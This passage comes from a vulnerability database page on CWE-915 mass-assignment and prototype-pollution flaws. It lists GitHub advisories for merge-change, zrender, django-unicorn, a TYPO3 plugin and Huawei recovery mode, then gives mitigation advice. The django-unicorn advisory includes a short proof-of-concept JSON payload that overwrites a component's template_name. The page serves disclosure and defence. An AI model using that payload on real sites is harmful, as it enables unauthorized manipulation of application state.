  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in locutus"
}

GHSA-F9CV-665R-275H

Vulnerability from github – Published: 2021-09-01 18:36 – Updated: 2021-08-30 19:27
VLAI
Summary
Prototype Pollution in merge-change
Details

All current versions of package merge-change are vulnerable to Prototype Pollution via the utils.set function.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "merge-change"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23421"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-30T19:27:27Z",
    "nvd_published_at": "2021-08-11T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All current versions of package merge-change are vulnerable to Prototype Pollution via the utils.set function.",
  "id": "GHSA-f9cv-665r-275h",
  "modified": "2021-08-30T19:27:27Z",
  "published": "2021-09-01T18:36:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23421"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/VladimirShestakov/merge-change"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VladimirShestakov/merge-change/blob/9901f145e06158f284f52de42e6ba5b0f702fb65/utils.js#L89-L123"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MERGECHANGE-1310985"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in merge-change"
}

GHSA-FC27-9M9G-625P

Vulnerability from github – Published: 2026-08-25 09:30 – Updated: 2026-08-25 09:30
VLAI
Details

The frontend management plugin attributed a newly created event to the submitting user's organizer record only when the request supplied no organizer of its own. The accompanying permission check confirmed only that the submitting user held any organizer role. A user with frontend event management access could therefore create an event that is attributed to another organizer.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-77144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T09:17:35Z",
    "severity": "HIGH"
  },
  "details": "The frontend management plugin attributed a newly created event to the submitting user\u0027s organizer record only when the request supplied no organizer of its own. The accompanying permission check confirmed only that the submitting user held any organizer role. A user with frontend event management access could therefore create an event that is attributed to another organizer.",
  "id": "GHSA-fc27-9m9g-625p",
  "modified": "2026-08-25T09:30:40Z",
  "published": "2026-08-25T09:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77144"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FFCF-48J3-23JR

Vulnerability from github – Published: 2023-03-28 00:34 – Updated: 2025-02-19 18:32
VLAI
Details

The recovery mode for updates has a vulnerability that causes arbitrary disk modification. Successful exploitation of this vulnerability may affect confidentiality.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-48359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-27T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "The recovery mode for updates has a vulnerability that causes arbitrary disk modification. Successful exploitation of this vulnerability may affect confidentiality.",
  "id": "GHSA-ffcf-48j3-23jr",
  "modified": "2025-02-19T18:32:12Z",
  "published": "2023-03-28T00:34:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48359"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/3"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202303-0000001529824505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FFV6-JJ46-X367

Vulnerability from github – Published: 2026-03-11 00:11 – Updated: 2026-03-11 05:45
VLAI
Summary
django-unicorn affected by component state manipulation via unvalidated attribute access
Details

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in: - src/django_unicorn/views/action_parsers/call_method.py - src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

  1. Construct a payload targeting a protected attribute: json { "actionQueue": [ { "type": "syncInput", "payload": { "name": "template_name", "value": "admin/base.html" } } ], "data": {}, "meta": "<checksum_of_empty_dict>" }
  2. The server-side component updates its internal state: self.template_name = "admin/base.html".
  3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django-unicorn"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.67.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:11:08Z",
    "nvd_published_at": "2026-03-10T22:16:19Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nComponent state manipulation is possible in `django-unicorn` due to missing access control checks during property updates and method calls. An attacker can bypass the intended `_is_public` protection to modify internal attributes such as `template_name` or trigger protected methods.\n\n## Vulnerability Details: Component Access Control Bypass\nSecurity analysis identified that the framework fails to enforce visibility boundaries defined by `_is_public` within the action parsers. Specifically, the logic in `set_property_value()` and `_call_method_name()` utilizes `getattr` and `setattr` directly on component instances without verifying if the target attribute or method is explicitly marked as public.\n\nVulnerability resides in:\n- `src/django_unicorn/views/action_parsers/call_method.py`\n- `src/django_unicorn/views/action_parsers/utils.py`\n\nWhile Django\u0027s template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal `reset()` method.\n\n## Proof of Concept (PoC)\nAttacker can overwrite the `template_name` attribute by sending a crafted JSON payload to the message endpoint:\n\n1. Construct a payload targeting a protected attribute:\n   ```json\n   {\n     \"actionQueue\": [\n       {\n         \"type\": \"syncInput\",\n         \"payload\": { \"name\": \"template_name\", \"value\": \"admin/base.html\" }\n       }\n     ],\n     \"data\": {},\n     \"meta\": \"\u003cchecksum_of_empty_dict\u003e\"\n   }\n   ```\n2. The server-side component updates its internal state: `self.template_name = \"admin/base.html\"`.\n3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.\n\n## Impact\nLow severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application\u0027s configured template directories. Remote Code Execution (RCE) is not possible via this vector.",
  "id": "GHSA-ffv6-jj46-x367",
  "modified": "2026-03-11T05:45:51Z",
  "published": "2026-03-11T00:11:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/django-commons/django-unicorn/security/advisories/GHSA-ffv6-jj46-x367"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31815"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django-commons/django-unicorn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "django-unicorn affected by component state manipulation via unvalidated attribute access"
}

GHSA-FHV8-FX5F-7FXF

Vulnerability from github – Published: 2021-09-20 19:53 – Updated: 2024-12-06 18:20
VLAI
Summary
Prototype Pollution in the merge and clone helper methods
Details

Impact

Using merge and clone helper methods in the src/core/util.ts module will have prototype pollution. It will affect the popular data visualization library Apache ECharts, which is using and exported these two methods directly.

Patches

It has been patched in https://github.com/ecomfe/zrender/pull/826. Users should update zrender to 5.2.1. and update echarts to 5.2.1 if project is using echarts.

References

NA

For more information

NA

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "zrender"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.3.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "zrender"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-17T17:51:46Z",
    "nvd_published_at": "2021-09-17T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nUsing `merge` and `clone` helper methods in the `src/core/util.ts` module will have prototype pollution. It will affect the popular data visualization library Apache ECharts, which is using and exported these two methods directly.\n\n### Patches\n \nIt has been patched in https://github.com/ecomfe/zrender/pull/826. \nUsers should update zrender to `5.2.1`.  and update echarts to `5.2.1` if project is using echarts.\n\n### References\nNA\n\n### For more information\nNA\n",
  "id": "GHSA-fhv8-fx5f-7fxf",
  "modified": "2024-12-06T18:20:49Z",
  "published": "2021-09-20T19:53:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ecomfe/zrender/security/advisories/GHSA-fhv8-fx5f-7fxf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39227"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ecomfe/zrender/pull/826"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ecomfe/zrender"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ecomfe/zrender/releases/tag/5.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in the merge and clone helper methods"
}
Mitigation
Implementation
  • If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
  • For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

Strategy: Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Mitigation
Implementation Architecture and Design

Strategy: Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

No CAPEC attack patterns related to this CWE.

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